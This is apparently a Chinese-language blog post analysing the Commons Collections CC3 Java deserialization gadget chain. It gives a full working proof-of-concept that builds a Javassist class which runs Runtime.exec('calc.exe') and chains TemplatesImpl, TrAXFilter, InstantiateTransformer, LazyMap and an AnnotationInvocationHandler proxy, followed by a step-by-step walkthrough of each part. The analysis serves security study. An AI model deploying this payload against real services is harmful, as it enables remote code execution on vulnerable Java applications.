前言 仔细分析过CC1和CC2来看CC3就会好容易理解一点
利用链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InstantiateTransformer.transform() newInstance() TrAXFilter#TrAXFilter() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses newInstance() Runtime.exec()
前置知识 cc2里我们需要通过TemplatesImpl#newTransformer来实现命令执行,在cc2里使用的是InvokerTransformer来反射调用newTransformer。而cc3中则是通过TrAXFilter这个类的构造方法来调用newTransformer
CC3中会用到两个新的类,这里先介绍一下:
TrAXFilter
在该类的构造方法中,调用了传入参数的newTransformer()
方法,看到这个方法有点熟悉了,可以实现命令执行,并且参数可控;
CC2中,就是在InvokerTransformer.transform()
中通过反射调用TemplatesImpl.newTransformer()
方法,而CC3中,就可以直接使用TrAXFilter
来调用newTransformer()
方法
InstantiateTransformer
该类实现了Transformer
、Serializable
接口
在它的transform()
方法中,判断了input
参数是否为Class
,若是Class
,则通过反射实例化一个对象并返回;
POC分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 package blckder02; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map; public class CC3 { public static void main(String[] args) throws Exception { //使用Javassit新建一个含有static的类 ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");"; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); cc.writeFile(); byte[] classBytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{classBytes}; //补充实例化新建类所需的条件 TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes", targetByteCodes); setFieldValue(templates, "_name", "blckder02"); setFieldValue(templates, "_class", null); //实例化新建类 Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer transformerChain = new ChainedTransformer(transformers); //调用get()中的transform方法 HashMap innermap = new HashMap(); LazyMap outerMap = (LazyMap)LazyMap.decorate(innermap,transformerChain); //设置代理,触发invoke()调用get()方法 Class cls1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = cls1.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler1 = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler1); InvocationHandler handler2 = (InvocationHandler)construct.newInstance(Retention.class, proxyMap); try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3.bin")); outputStream.writeObject(handler2); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3.bin")); inputStream.readObject(); }catch(Exception e){ e.printStackTrace(); } } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
代码1
1 2 3 4 5 6 7 8 9 10 11 ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");"; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); cc.writeFile(); byte[] classBytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{classBytes};
使用javassit创建一个类,这个类中包含static代码块,其中包含命令执行代码,只要实例化这个类,就会执行static中的代码; 最后把该类转换为字节码存到targetByteCodes
数组中;
代码2
1 2 3 4 TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes", targetByteCodes); setFieldValue(templates, "_name", "blckder02"); setFieldValue(templates, "_class", null);
实例化一个 TemplatesImpl类对象,给一些参数赋值,赋值原因CC2中说明了原因;代码3
1 2 3 4 5 Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer transformerChain = new ChainedTransformer(transformers);
这里有一些不一样,将TrAXFilter.class
传给ConstantTransformer,那么就会返回TrAXFilter
类,然后传给InstantiateTransformer,在InstantiateTransformer类中就会实例化TrAXFilter
类,然而调用它的构造方法,进而调用newTransformer()
方法,从而实现命令执行; 然后就是要找到调用ChainedTransformer.transform()
的地方,才能对transformers 数组进行回调
代码4
1 2 HashMap innermap = new HashMap(); LazyMap outerMap = (LazyMap)LazyMap.decorate(innermap,transformerChain);
new了一个LazyMap的对象,LazyMap的get()方法调用了transform()
方法,factory
参数就是传入的transformerChain,达到了代码3的条件;
接着就是要找一个调用get()的地方,
代码5
1 2 3 4 5 6 7 8 Class cls1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = cls1.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler1 = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler1); InvocationHandler handler2 = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);
这里看过p神的文章应该挺熟悉的
我们如果将AnnotationInvocationHandler对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#getAnnotationInvocationHandler
是调用处理器,outerMap是被代理的对象,只要调用了LazyMap中的任意方法,就会触发AnnotationInvocationHandler
中的invoke方法;
而在readObject方法中调用了entrySet()方法,所以触发invoke
在invoke方法中就调用了get方法
这样就基本上达到了执行命令所需要的条件
POC调试 this.memberValues
参数值为LazyMap,调用了它的entrySet方法,触发到invoke方法;
跟进get方法,factory
参数为ChainedTransformer的实例化对象,这里调用了它的transform方法
跟进到ChainedTransformer.transform()
,对transformers[]
数组进行循环
跟进它的transform方法,input
参数值为TrAXFilter
,iParamTypes
参数值为Templates
,iArgs
参数值为TemplatesImpl的实例化对象templates
,return了TrAXFilter类对象
在getConstructor(iParamTypes)
获取它参数为Templates
类的构造方法时,调用了TransformerImpl的newTransformer()
跟进newTransformer()
,调用了getTransletInstance()
方法
跟进,_name
参数值为我们传入的blckder02
,进入第二个if,_class
参数值为null,_bytecodes
参数值为用javassit创建的类的字节码;
最后实例化_class[_transletIndex]
执行static中的代码